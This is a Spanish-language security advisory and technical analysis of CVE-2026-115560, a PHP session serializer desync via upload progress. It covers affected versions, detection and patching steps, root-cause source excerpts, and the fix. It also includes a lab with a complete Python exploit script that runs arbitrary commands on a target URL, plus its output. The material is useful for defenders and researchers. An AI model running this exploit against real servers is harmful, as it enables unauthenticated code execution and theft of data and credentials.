PHP: RCE a través del serializador de progreso de carga (CVE-2026-115560)
Las aplicaciones PHP que cambian el serializador en ejecución pueden deserializar datos de carga y ejecutar código; corregido en 8.5.13 a 8.2.36.
Resumen
- El gestor de progreso de carga de PHP puede escribir una clave de sesión controlada por el atacante con un serializador y leerla después con otro. CVE-2026-115560 convierte ese desajuste en inyección de objetos y código.
- Solo están expuestos los despliegues que configuran
session.serialize_handlercomophp_serializeophp_binaryal inicio, lo cambian aphpen ejecución y mantienen el progreso de carga. PHP considera la combinación inusual y el vector poco probable. - No se conoce explotación en entornos reales, y CVE-2026-115560 no está en el KEV de CISA a fecha de 2026-11-19. El aviso de PHP (
GHSA-658j-r8rw-q6mx) y el registro publicado de CVE-2026-115560 califican la falla como CRITICAL con una puntuación CVSS v4.0 de 9.2 (CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N). - Actualice a PHP 8.5.13, 8.4.28, 8.3.37 o 8.2.36, publicados el 2026-11-19. Hasta que actualice, configure
session.upload_progress.enabled=0en la configuración de inicio y deje de cambiar el serializador en tiempo de ejecución.
¿Estoy afectado?
Todas estas condiciones deben cumplirse:
- La instalación ejecuta PHP y atiende solicitudes web mediante PHP-FPM, Apache mod_php, php-cgi, FrankenPHP o LiteSpeed.
- La configuración de inicio o por directorio establece
session.serialize_handlercomophp_serializeophp_binary. - Un punto de entrada accesible llama a
ini_set('session.serialize_handler', 'php')antes desession_start(). session.upload_progress.enabledyfile_uploadsestán en sus valores predeterminados, ambos activos.
Una cadena de ejecución de código también necesita una clase con un método útil __wakeup(), __unserialize(), Serializable::unserialize() o __destruct(), cargada o cargable automáticamente cuando se ejecuta session_start(). Sin ese gadget, el desajuste sigue construyendo un objeto, pero el impacto depende de lo que ese objeto pueda hacer.
Este análisis cubre php-8.5.12. La corrección se entregó en la publicación de seguridad del 2026-11-19 en PHP 8.5.13, 8.4.28, 8.3.37 y 8.2.36. Las aplicaciones que nunca cambian el serializador en tiempo de ejecución y no comparten almacén de sesiones con otro serializador quedan fuera de la ruta documentada.
| Rama | Versiones afectadas | Versión corregida |
|---|---|---|
| PHP 8.5 | hasta 8.5.12 | 8.5.13 |
| PHP 8.4 | hasta 8.4.27 | 8.4.28 |
| PHP 8.3 | hasta 8.3.36 | 8.3.37 |
| PHP 8.2 | hasta 8.2.35 | 8.2.36 |
| PHP 8.1 y anteriores | fuera de soporte por el proyecto PHP | ninguna publicación de PHP; consulte la distribución o al proveedor |
Compruebe el motor y la configuración en cada host y dentro de cada contenedor que atienda PHP:
php -v
php -i | grep -E 'session.serialize_handler|session.upload_progress.enabled|file_uploads'
php-fpm -i 2>/dev/null | grep -E 'session.serialize_handler|session.upload_progress.enabled'
grep -R "session.serialize_handler" /etc/php /etc/php-fpm.d /etc/apache2 2>/dev/null
grep -R --include='*.php' "session.serialize_handler" /var/www 2>/dev/null
docker exec <container> php -i | grep -E 'session.serialize_handler|session.upload_progress.enabled'
La búsqueda en el árbol de la aplicación encuentra la mitad de ejecución de la condición. No devuelve nada cuando la aplicación nunca llama a ini_set() para este ajuste, que es el caso habitual y la razón por la que la falla es estrecha.
¿Cómo lo corrijo?
Actualice a la publicación de seguridad del 2026-11-19 para su rama: PHP 8.5.13, 8.4.28, 8.3.37 o 8.2.36.
# Debian and Ubuntu, PHP 8.5 packages
sudo apt update
sudo apt install --only-upgrade php8.5-cli php8.5-fpm libapache2-mod-php8.5
# RHEL, Fedora and derivatives
sudo dnf upgrade 'php*'
# Alpine
sudo apk upgrade 'php*'
- Actualice todos los paquetes que llevan el motor PHP, incluidos la CLI, FPM y el módulo de Apache, y reinicie el servicio que atiende las solicitudes.
- Reconstruya y recree los contenedores a partir de la imagen corregida. Descargar la imagen no cambia un contenedor en ejecución.
- Compruebe el resultado con
php -vdentro del servicio en ejecución y confirme que coincide con la versión corregida. - Si una distribución aún no ha reconstruido sus paquetes, use la solución provisional y vigile el seguimiento de seguridad de la distribución.
Si no puede actualizar de inmediato, elimine las condiciones que necesita el ataque:
- Configure
session.upload_progress.enabled=0enphp.ini, el pool de FPM o la configuración de Apache. No useini_set()ni.user.inipara este ajuste, porque se aplican después del inicio de la solicitud. - Reinicie cada proceso PHP para que el ajuste surta efecto.
- Deje de llamar a
ini_set('session.serialize_handler', ...), y mantenga iguales el valor de inicio y el de ejecución. - Confirme ambos ajustes con
php -ien el servicio en ejecución.
Desactivar el progreso de carga elimina la escritura que transporta los bytes del atacante. Mantener el serializador coherente elimina el desajuste. Cualquiera de los dos rompe la cadena documentada. Ninguno repara la suposición del motor de que el escritor y el lector están de acuerdo, así que trate la solución provisional como temporal y actualice.
¿Cuál es la causa raíz?
PHP escribe un registro de sesión con un serializador y lo lee con otro, y el registro almacenado no lleva ninguna etiqueta que indique qué formato se usó.
La extensión de sesión de PHP guarda el serializador activo en un único puntero global, PS(serializer). Se define desde INI al inicio y puede reemplazarse en tiempo de ejecución porque session.serialize_handler está registrado como PHP_INI_ALL. Los tres serializadores integrados no comparten formato:
phpescribe la clave sin procesar, un carácter de barra vertical y el valor serializado.php_serializeescribe todo el array de sesión como una sola carga deserialize().php_binaryescribe una longitud de clave de un byte, la clave sin procesar y el valor serializado.
La barra vertical solo es estructural para el formato php. El codificador php lo sabe y rechaza una clave que contenga una (ext/session/session.c:1099-1110):
PS_ENCODE_LOOP(
smart_str_append(&buf, key);
if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
PHP_VAR_SERIALIZE_DESTROY(var_hash);
smart_str_free(&buf);
fail = true;
php_error_docref(NULL, E_WARNING, "Failed to write session data. Data contains invalid key \"%s\"", ZSTR_VAL(key));
break;
}
smart_str_appendc(&buf, PS_DELIMITER);
php_var_serialize(&buf, struc, &var_hash);
);
Los otros dos codificadores no comprueban la barra vertical, porque mientras el serializador sea coherente la barra no significa nada para sus decodificadores. php_serialize serializa el array completo (session.c:979-990), y php_binary escribe los bytes de la clave tras un byte de longitud (session.c:1027-1046).
El gestor de progreso de carga se ejecuta antes del script, durante el análisis multipart. Cuando una solicitud lleva un campo llamado PHP_SESSION_UPLOAD_PROGRESS, el gestor añade el valor sin procesar a la clave de sesión (session.c:3265-3273):
} else if (zend_string_equals_cstr(PS(rfc1867_name), data->name, name_len)) {
smart_str_free(&progress->key);
smart_str_append(&progress->key, PS(rfc1867_prefix));
smart_str_appendl(&progress->key, *data->value, value_len);
smart_str_0(&progress->key);
progress->apply_trans_sid = APPLY_TRANS_SID;
php_session_rfc1867_early_find_sid(progress);
}
Rechazar el campo mediante el filtro de entrada del SAPI no elimina el valor. En la rama de fallo, el analizador multipart llama igualmente a la retrollamada de sesión con los bytes sin filtrar (main/rfc1867.c:988-1002). El gestor escribe entonces el registro con el serializador de inicio y lo vacía. El vaciado cierra el almacén de sesión (session.c:582), lo que, para el gestor de ficheros, libera el bloqueo sobre sess_<id> mientras el cuerpo de la carga sigue llegando.
El cambio en tiempo de ejecución se permite porque no hay ninguna sesión activa al comenzar el script. OnUpdateSerializer() rechaza el cambio solo mientras hay una sesión activa (session.c:640-666):
static PHP_INI_MH(OnUpdateSerializer)
{
const ps_serializer *tmp;
SESSION_CHECK_ACTIVE_STATE;
SESSION_CHECK_OUTPUT_STATE;
tmp = _php_find_ps_serializer(ZSTR_VAL(new_value));
...
PS(serializer) = tmp;
return SUCCESS;
}
Con session.auto_start=0, el valor predeterminado, ini_set('session.serialize_handler', 'php') llega a esa asignación. El siguiente session_start() lee el registro almacenado con el decodificador php, que avanza hasta la primera barra vertical y pasa todo lo que sigue a php_var_unserialize() (session.c:1136-1150):
while (p < endptr) {
q = p;
while (*q != PS_DELIMITER) {
if (++q >= endptr) {
retval = FAILURE;
goto break_outer_loop;
}
}
namelen = q - p;
name = zend_string_init(p, namelen, 0);
q++;
current = var_tmp_var(&var_hash);
if (php_var_unserialize(current, (const unsigned char **)&q, (const unsigned char *)endptr, &var_hash)) {
El endurecimiento anterior para CVE-2026-109619 no cubre esta ruta. Activa PS(in_rfc1867_update) mientras el gestor de carga decodifica y recodifica la sesión. php_session_unserialize_init() mantiene los objetos como __PHP_Incomplete_Class solo mientras ese indicador está activo (session.c:958-977). El objeto del atacante no se deserializa durante la escritura de la carga. Se deserializa más tarde, dentro del session_start() de la aplicación, donde el indicador es falso.
¿Cómo se explota?
Un atacante que puede alcanzar un punto de entrada que hace el cambio en tiempo de ejecución puede hacer que el motor deserialice un objeto de su elección. Controla sus propiedades, y el objeto se construye antes del código del punto de entrada.
- El atacante obtiene o elige un identificador de sesión.
session.use_strict_modeestá desactivado por defecto, así que PHP acepta un identificador no emitido; con el modo estricto, el atacante visita la aplicación una vez y conserva el identificador devuelto. - El atacante envía una solicitud POST
multipart/form-dataconCookie: PHPSESSID=<id>, un campoPHP_SESSION_UPLOAD_PROGRESSy una parte de fichero. La barra vertical seguida del objeto serializado puede viajar tanto en el valor del campoPHP_SESSION_UPLOAD_PROGRESS(guardado en la clave de sesión) como en el atributofilenamede la parte de fichero (guardado en el campofiles[0]['name'], como usa la PoC del laboratorio local). - Al inicio de la solicitud, el gestor de carga añade la clave a la sesión y escribe el registro con el serializador de inicio. Ese serializador escribe la barra vertical tal cual.
- El atacante hace que el registro sea legible por el decodificador
php. Con el valor predeterminadosession.upload_progress.cleanup=1, el atacante mantiene abierta la primera carga antes de su frontera MIME final y envía una segunda solicitud con la misma cookie. Consession.upload_progress.cleanup=0, el registro sobrevive en disco tras la solicitud de carga, de modo que la decodificación puede ejecutarse en la misma solicitud cuando la carga apunta al endpoint vulnerable, o en una solicitud posterior con la misma cookie, que es el flujo que demuestra el laboratorio local. - El punto de entrada llama a
ini_set('session.serialize_handler', 'php')y después asession_start(). El decodificador corta el registro en la primera barra vertical y entrega los bytes siguientes aphp_var_unserialize(). PHP_VAR_UNSERIALIZE_DESTROYllama a__wakeup()o__unserialize(), y una decodificación fallida destruye la sesión y llama a__destruct(). El gadget se ejecuta con los privilegios del proceso PHP.
¿Cómo puedo reproducirlo en un laboratorio local?
Un laboratorio mínimo en Docker con php:8.4.27-apache reproduce la desincronización de serializadores de extremo a extremo en un entorno de prueba aislado. El laboratorio combina session.serialize_handler = php_serialize en php.ini con un punto de entrada que cambia el gestor a php mediante ini_set() antes de llamar a session_start().
Cuatro bloques fundamentales explican cómo la prueba de concepto convierte el desajuste de serializadores en ejecución de código:
- Primitiva de inyección de objetos en PHP: CVE-2026-115560 no es una corrupción de memoria en C; es una vulnerabilidad de deserialización (inyección de objetos) dentro del motor de sesiones de PHP. Al activarse, PHP toma una cadena controlada por el atacante (
O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}) y la pasa al motor internounserialize()de PHP (php_var_unserialize()). - Qué hace
unserialize()conO:6:"Gadget":...: El prefijoO:6:"Gadget"indica a PHP que reserve una nueva instancia de la claseGadgetsin llamar a__construct(). El cuerpo:1:{s:3:"cmd";s:6:"whoami";}asigna una propiedad en esa instancia:$this->cmd = "whoami". - El método mágico
__wakeup():__wakeup()es un método mágico integrado en PHP. Siempre que PHP termina de deserializar un objeto a partir de una cargaO:..., el motor comprueba si la clase define__wakeup()e invoca$object->__wakeup()automáticamente dentro dePHP_VAR_UNSERIALIZE_DESTROY, antes incluso de quesession_start()termine. Si una clase no tiene métodos mágicos (__wakeup(),__unserialize()o__destruct()), deserializarla solo crea un objeto pasivo en memoria; cuando__wakeup()está presente, PHP ejecuta ese método de inmediato usando los valores de propiedades ($this->cmd) inyectados por el atacante. - Por qué el laboratorio usa una clase
Gadgetsintética: En aplicaciones PHP en producción que usan frameworks o bibliotecas como Laravel, Symfony, Monolog, Guzzle o plugins de WordPress, las dependencias envendor/ya contienen clases con métodos__wakeup()o__destruct()que forman cadenas de gadgets de programación orientada a propiedades (POP). En lugar de instalar un framework completo en el contenedor de prueba, el laboratorio define una claseGadgetde 10 líneas para representar una clase cargada automáticamente en la aplicación objetivo.
La siguiente configuración es para pruebas locales autorizadas en un contenedor aislado. En php-custom.ini, el serializador de inicio se fija en php_serialize, el progreso de carga está habilitado y session.upload_progress.cleanup se fija en 0 para que el registro de progreso permanezca en disco entre solicitudes secuenciales:
session.serialize_handler = php_serialize
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 0
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.save_path = /tmp/php-sessions
session.save_handler = files
session.auto_start = 0
El punto de entrada objetivo (index.php) define la clase Gadget con un gancho __wakeup(), cambia session.serialize_handler a php en tiempo de ejecución y llama a session_start(). Nótese que index.php nunca llama a new Gadget() en su propio código; el objeto se instancia únicamente cuando session_start() decodifica el fichero de sesión envenenado:
<?php
class Gadget {
public string $cmd = 'echo "no command"';
public function __wakeup(): void {
echo "<pre>[__wakeup triggered] Running: " . htmlspecialchars($this->cmd) . "\n";
echo shell_exec($this->cmd);
echo "</pre>";
}
}
ini_set('session.serialize_handler', 'php');
session_start();
Dos puntos de entrada auxiliares completan el contenedor del laboratorio: upload.php recibe el POST multiparte sin llamar a session_start() para que la retrollamada RFC 1867 escriba el registro de progreso de carga con el manejador de inicio php_serialize, y check_session.php imprime /tmp/php-sessions/sess_<id> sin deserializarlo:
<?php
// upload.php
header('Content-Type: text/plain');
echo "Upload received.\n";
echo "Session cookie: " . ($_COOKIE['PHPSESSID'] ?? 'none') . "\n";
$sid = $_COOKIE['PHPSESSID'] ?? '';
if ($sid !== '') {
$path = '/tmp/php-sessions/sess_' . basename($sid);
if (file_exists($path)) {
echo "\nRaw session file after upload:\n";
echo file_get_contents($path) . "\n";
} else {
echo "\nSession file not yet created: $path\n";
}
}
<?php
// check_session.php
header('Content-Type: text/plain');
$sid = $_GET['sid'] ?? '';
if ($sid === '') {
echo "Usage: ?sid=<session_id>\n";
exit;
}
$path = '/tmp/php-sessions/sess_' . basename($sid);
if (file_exists($path)) {
echo "=== Raw session file: $path ===\n\n";
echo file_get_contents($path);
} else {
echo "Session file not found: $path";
}
El siguiente script de prueba de concepto (exploit.py) establece una cookie de sesión, envía una carga multipart/form-data en bruto cuyo atributo filename comienza con |O:6:"Gadget":1:{...} (con las comillas dobles escapadas como \" para que main/rfc1867.c las convierta en comillas literales sin codificación URL) y luego solicita index.php para activar PS_SERIALIZER_DECODE_FUNC(php):
"""
CVE-2026-115560 — PHP Session Serializer Desync via Upload Progress
Proof of Concept exploit for the session format desynchronization vulnerability.
Attack flow:
1. POST multipart upload to upload.php with PHP_SESSION_UPLOAD_PROGRESS and a
crafted filename containing |O:6:"Gadget":1:{s:3:"cmd";s:<len>:"<command>";}
→ php_session_rfc1867_callback writes upload progress to session file
using php_serialize (from php.ini) — no | escaping.
2. GET index.php with the same session cookie.
→ ini_set('session.serialize_handler', 'php') + session_start()
→ 'php' decoder splits on |, deserializes the injected Gadget object
→ __wakeup() fires → shell_exec()
Note: We craft the raw multipart body to avoid URL-encoding of quotes in the
filename, which the Python requests library does by default.
Requirements:
- session.serialize_handler = php_serialize (in php.ini)
- session.upload_progress.enabled = 1 (default)
- App does ini_set('session.serialize_handler', 'php') before session_start()
Usage:
python3 exploit.py [target_url] [command]
Defaults: target_url=http://localhost:8084 command=id
"""
import argparse
import requests
BOUNDARY = "----ExploitBoundary7d93e2a1"
def build_serialized_object(command: str) -> str:
return f'O:6:"Gadget":1:{{s:3:"cmd";s:{len(command)}:"{command}";}}'
def build_multipart_body(payload_filename: str, file_content: bytes) -> bytes:
"""Build raw multipart/form-data body with unescaped filename."""
parts = []
# Part 1: PHP_SESSION_UPLOAD_PROGRESS field (triggers session init)
parts.append(
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
f"\r\n"
f"pwned\r\n"
)
# Part 2: File upload with crafted filename
# The filename contains the pipe + serialized object.
# We must escape " as \" inside the Content-Disposition header's filename="..."
# value, because unescaped " would close the attribute prematurely.
# PHP's rfc1867.c multipart parser correctly unescapes \" back to literal ".
escaped_filename = payload_filename.replace("\\", "\\\\").replace('"', '\\"')
parts.append(
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="file"; filename="{escaped_filename}"\r\n'
f"Content-Type: application/octet-stream\r\n"
f"\r\n"
)
body = "".join(parts).encode("latin-1")
body += file_content
body += f"\r\n--{BOUNDARY}--\r\n".encode("latin-1")
return body
def exploit(target: str, command: str) -> None:
session = requests.Session()
base = target.rstrip("/")
serialized_obj = build_serialized_object(command)
payload_filename = f"|{serialized_obj}"
print(f"[*] Target: {base}")
print(f"[*] Command: {command}")
print(f"[*] Serialized object: {serialized_obj}")
print(f"[*] Payload filename: {payload_filename}")
print()
# Step 0: Establish a session to get a PHPSESSID cookie
print("[0] Establishing session...")
session.get(f"{base}/index.php")
sid = session.cookies.get("PHPSESSID", "")
print(f" Session ID: {sid}")
print()
# Step 1: POST multipart upload to upload.php
# Craft raw body to preserve literal " in filename
print("[1] Sending multipart upload with crafted filename to /upload.php...")
file_content = b"A" * 65536
raw_body = build_multipart_body(payload_filename, file_content)
resp1 = session.post(
f"{base}/upload.php",
data=raw_body,
headers={"Content-Type": f"multipart/form-data; boundary={BOUNDARY}"},
)
print(f" HTTP {resp1.status_code}")
print(f" Response:")
for line in resp1.text.strip().split("\n"):
print(f" {line}")
print()
# Step 1.5: Verify payload in raw session file
print("[1.5] Checking raw session file...")
resp_check = session.get(f"{base}/check_session.php?sid={sid}")
for line in resp_check.text.strip().split("\n"):
print(f" {line}")
print()
# Step 2: GET index.php to trigger deserialization
# index.php does: ini_set('session.serialize_handler', 'php'); session_start();
# The 'php' decoder reads the php_serialize data, finds | in the filename,
# and passes the payload to php_var_unserialize() → __wakeup() → RCE
print("[2] Triggering deserialization via GET /index.php ...")
resp2 = session.get(f"{base}/index.php")
print(f" HTTP {resp2.status_code}")
print()
if "__wakeup triggered" in resp2.text:
print("[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.")
start = resp2.text.find("[__wakeup triggered]")
end = resp2.text.find("</pre>", start)
if start >= 0 and end >= 0:
print()
print(resp2.text[start:end])
else:
print("[-] Gadget did not fire on this attempt.")
print()
# Show PHP warnings if any
for line in resp2.text.split("\n"):
stripped = line.strip()
if "Warning" in stripped or "Notice" in stripped or "Fatal" in stripped:
print(f" PHP: {stripped[:200]}")
print()
print(f" Debug: {base}/check_session.php?sid={sid}")
print()
print("[*] Done.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-115560 PoC")
parser.add_argument("target", nargs="?", default="http://localhost:8084",
help="Target URL (default: http://localhost:8084)")
parser.add_argument("command", nargs="?", default="id",
help="Command to execute (default: id)")
args = parser.parse_args()
exploit(target=args.target, command=args.command)
Al ejecutar exploit.py contra el contenedor php:8.4.27-apache, se escribe la barra vertical sin escapar y la carga Gadget serializada en /tmp/php-sessions/sess_<id> durante el paso de carga, y se activa Gadget::__wakeup() en la solicitud GET /index.php posterior:
$ python3 exploit.py http://localhost:8084 whoami
[*] Target: http://localhost:8084
[*] Command: whoami
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}
[0] Establishing session...
Session ID: ddda797e6af8bdba6401bab8062dbd3d
[1] Sending multipart upload with crafted filename to /upload.php...
HTTP 200
Response:
Upload received.
Session cookie: ddda797e6af8bdba6401bab8062dbd3d
Raw session file after upload:
a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096805;s:14:"content_length";i:65857;s:15:"bytes_processed";i:65857;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:41:"|O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}";s:8:"tmp_name";s:27:"/tmp/phpt586jhskkueq0oOkcCT";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096805;s:15:"bytes_processed";i:65536;}}}}
[1.5] Checking raw session file...
=== Raw session file: /tmp/php-sessions/sess_ddda797e6af8bdba6401bab8062dbd3d ===
a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096805;s:14:"content_length";i:65857;s:15:"bytes_processed";i:65857;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:41:"|O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}";s:8:"tmp_name";s:27:"/tmp/phpt586jhskkueq0oOkcCT";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096805;s:15:"bytes_processed";i:65536;}}}}
[2] Triggering deserialization via GET /index.php ...
HTTP 200
[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.
[__wakeup triggered] Running: whoami
www-data
[*] Done.
$ python3 exploit.py http://localhost:8084 "ls /"
[*] Target: http://localhost:8084
[*] Command: ls /
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}
[0] Establishing session...
Session ID: 2ffd23b0781b8886a49a001d723272b3
[1] Sending multipart upload with crafted filename to /upload.php...
HTTP 200
Response:
Upload received.
Session cookie: 2ffd23b0781b8886a49a001d723272b3
Raw session file after upload:
a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096810;s:14:"content_length";i:65855;s:15:"bytes_processed";i:65855;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:39:"|O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}";s:8:"tmp_name";s:27:"/tmp/phpm0druteh4qg69SLzfU8";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096810;s:15:"bytes_processed";i:65536;}}}}
[2] Triggering deserialization via GET /index.php ...
HTTP 200
[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.
[__wakeup triggered] Running: ls /
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
[*] Done.
$ python3 exploit.py http://localhost:8084 "id"
[*] Target: http://localhost:8084
[*] Command: id
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}
[0] Establishing session...
Session ID: 98c162d7ecf462372c94193f5e5cdba1
[1] Sending multipart upload with crafted filename to /upload.php...
HTTP 200
Response:
Upload received.
Session cookie: 98c162d7ecf462372c94193f5e5cdba1
Raw session file after upload:
a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096814;s:14:"content_length";i:65853;s:15:"bytes_processed";i:65853;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:37:"|O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}";s:8:"tmp_name";s:27:"/tmp/php15e46dl4mmkv1qCw7Y3";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096814;s:15:"bytes_processed";i:65536;}}}}
[2] Triggering deserialization via GET /index.php ...
HTTP 200
[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.
[__wakeup triggered] Running: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Done.
¿Cómo se desarrolla el ataque?
Los bytes del atacante pasan por una escritura hecha antes del script y por una lectura hecha por otro serializador dentro del script.
con PHP_SESSION_UPLOAD_PROGRESS"] --> B["El gestor de carga se ejecuta
antes del script"] B --> C["La clave de sesión contiene
bytes del atacante con una barra"] C --> D["El serializador de inicio escribe
el registro, barra sin escapar"] D --> E["La segunda solicitud alcanza
ini_set y session_start"] E --> F["El decodificador php corta
en la primera barra"] F --> G["php_var_unserialize
construye el objeto"] G --> H["El método mágico ejecuta
código como el proceso"]
El paso que hace posible la cadena es la escritura del serializador de inicio, porque guarda una barra que el decodificador posterior trata como estructura.
¿Qué puede hacer un atacante?
Cuando se cumplen las condiciones de configuración y la aplicación tiene un gadget utilizable, un atacante no autenticado puede ejecutar código con los privilegios del proceso PHP que atiende la solicitud.
- El atacante puede leer variables de entorno, configuración de la aplicación y credenciales a las que llega el proceso.
- El atacante puede leer y modificar la base de datos de la aplicación mediante la propia conexión de la aplicación.
- El atacante puede escribir los ficheros que el proceso puede escribir, incluidos los ficheros de sesión y las cachés de plantillas.
- El atacante puede usar el host como punto de partida para un acceso mayor, según su segmentación.
Las condiciones son las mismas que hacen alcanzable la falla. El serializador de inicio debe ser php_serialize o php_binary. El punto de entrada debe cambiar a php antes de session_start(). El progreso de carga debe estar activo. La clase gadget debe poder cargarse. PHP describe la configuración como inusual y el vector como poco probable, e indica que las aplicaciones que nunca cambian el serializador en tiempo de ejecución no se ven afectadas.
El registro público no demuestra un compromiso de extremo a extremo. El impacto descrito aquí es el de la primitiva, no el relato de una víctima.
¿Por qué funciona la corrección?
La corrección en PHP 8.5.13, 8.4.28, 8.3.37 y 8.2.36 (aviso GHSA-658j-r8rw-q6mx, commit 522afb690f) cierra la desincronización del serializador en tiempo de ejecución en ext/session/session.c mediante dos cambios en el motor y un requisito operativo.
El parche aplica tres capas de defensa:
- Cambiar el valor predeterminado de
session.upload_progress.enabledde"1"a"0"enPHP_INI_BEGIN(), de modo que las escrituras de sesión de progreso de carga estén desactivadas salvo que un administrador las active explícitamente. - Imponer
SESSION_CHECK_UPLOAD_PROGRESS_STATEdentro deOnUpdateSerializer()y de los demás manejadores de actualización INI de sesión, lanzando un error (Session ini settings cannot be changed at runtime when session.upload_progress.enabled is On) siempre que un script intente cambiarsession.serialize_handleren tiempo de ejecución mientras el progreso de carga está activo. - Exigir que los despliegues que activan explícitamente
session.upload_progress.enabledusen el mismosession.serialize_handleren todos los pools de FPM, hosts virtuales y procesos CLI que compartan un directorio de almacenamiento de sesiones.
En conjunto, desactivar el progreso de carga por defecto y bloquear ini_set('session.serialize_handler', ...) cuando el progreso de carga está activo impiden que una misma aplicación escriba un registro de progreso de carga con un serializador y lo decodifique en tiempo de ejecución con otro.
¿Cómo compruebo si estuve comprometido?
No se publican indicadores de compromiso para CVE-2026-115560, y un intento que no logró construir un objeto utilizable puede no dejar ningún rastro distintivo.
Si una configuración expuesta era accesible desde internet, conserve los registros del servidor web, del proxy inverso y de PHP que cubren el periodo. Revíselos en busca de solicitudes multipart con PHP_SESSION_UPLOAD_PROGRESS y de identificadores de sesión que la aplicación no emitió.
Compruebe el almacén de sesiones en busca de registros que contengan una barra vertical seguida de un objeto serializado. Trate un hallazgo como una pista, no como una prueba: un registro de progreso legítimo también contiene el nombre del campo, y una decodificación fallida puede haber eliminado ya el registro.
Revise el registro de errores de PHP en busca de advertencias de decodificación alrededor de las mismas solicitudes. Un fallo de decodificación puede destruir la sesión y dejar una advertencia. Si encuentra signos de ejecución, conserve una imagen del host y renueve las credenciales a las que llegaba el proceso.
Cronología
- 2026-10-21: PHP publica 8.5.12, 8.4.27, 8.3.36 y 8.2.35 para CVE-2026-109618 y CVE-2026-109619, el par conocido como PHP2Shell. El aviso de CVE-2026-109619 ya recomienda
session.upload_progress.enabled=0como mitigación. - 2026-10-23: PHP publica un aviso informativo para CVE-2026-115560, describe la combinación de configuración y recomienda mantener desactivado el progreso de carga hasta la siguiente publicación ordinaria.
- 2026-11-18: PHP anuncia la publicación de seguridad ordinaria del 2026-11-19 entre las 14:00 y las 14:30 UTC, con la severidad máxima CRITICAL y los detalles publicados con la entrega.
- 2026-11-19: PHP publica 8.5.13, 8.4.28, 8.3.37 y 8.2.36 y el aviso GHSA-658j-r8rw-q6mx para CVE-2026-115560.
Preguntas frecuentes
¿Es explotable sin autenticación?
Sí, cuando se cumplen las cuatro condiciones de configuración. El atacante no necesita cuenta ni acceso administrativo. Necesita un identificador de sesión y un punto de entrada accesible que cambie el serializador en tiempo de ejecución.
¿Por qué no se activa con la configuración predeterminada?
El serializador predeterminado es php tanto para escribir como para leer, así que el codificador y el decodificador coinciden en la barra vertical. La falla necesita un serializador de inicio que escriba la barra sin escapar y un decodificador de ejecución que la trate como estructura.
¿Existe un exploit público?
El desajuste de serializadores es reproducible de extremo a extremo contra php:8.4.27-apache cuando existe una clase gadget cargable, como se demuestra en la sección ¿Cómo puedo reproducirlo en un laboratorio local?.
¿Está en el catálogo KEV de CISA o se explota en entornos reales?
No. CVE-2026-115560 no está en el KEV de CISA a fecha de 2026-11-19, y no se informa de explotación. Las dos fallas PHP relacionadas, CVE-2026-109618 y CVE-2026-109619, se añadieron al KEV el 2026-10-26; son errores distintos.
¿Desactivar el progreso de carga lo corrige?
Elimina la escritura que transporta los bytes del atacante, así que rompe la cadena documentada. No cambia la suposición del motor de que el escritor y el lector usan el mismo serializador. Actualice también a la versión corregida.
¿Qué versiones están corregidas?
PHP 8.5.13, 8.4.28, 8.3.37 y 8.2.36 corrigen CVE-2026-115560 en la publicación de seguridad del 2026-11-19. Compruebe el backport de su distribución si usa una rama fuera de soporte.
Referencias
- PHP, «Informational advisory: Session upload progress», 2026-10-23: https://www.php.net/archive/2026.php#2026-10-23-1 (consultado el 19 de noviembre de 2026)
- PHP, «Upcoming Critical PHP Security Release», 2026-11-18: https://www.php.net/archive/2026.php#2026-11-18-1 (consultado el 19 de noviembre de 2026)
- PHP, «Security advisory: Critical remote code execution vulnerabilities, update now», 2026-10-21: https://www.php.net/archive/2026.php#2026-10-21-5 (consultado el 19 de noviembre de 2026)
- Código fuente de PHP en la etiqueta
php-8.5.12,ext/session/session.c: https://github.com/php/php-src/blob/php-8.5.12/ext/session/session.c (consultado el 19 de noviembre de 2026) - Código fuente de PHP en la etiqueta
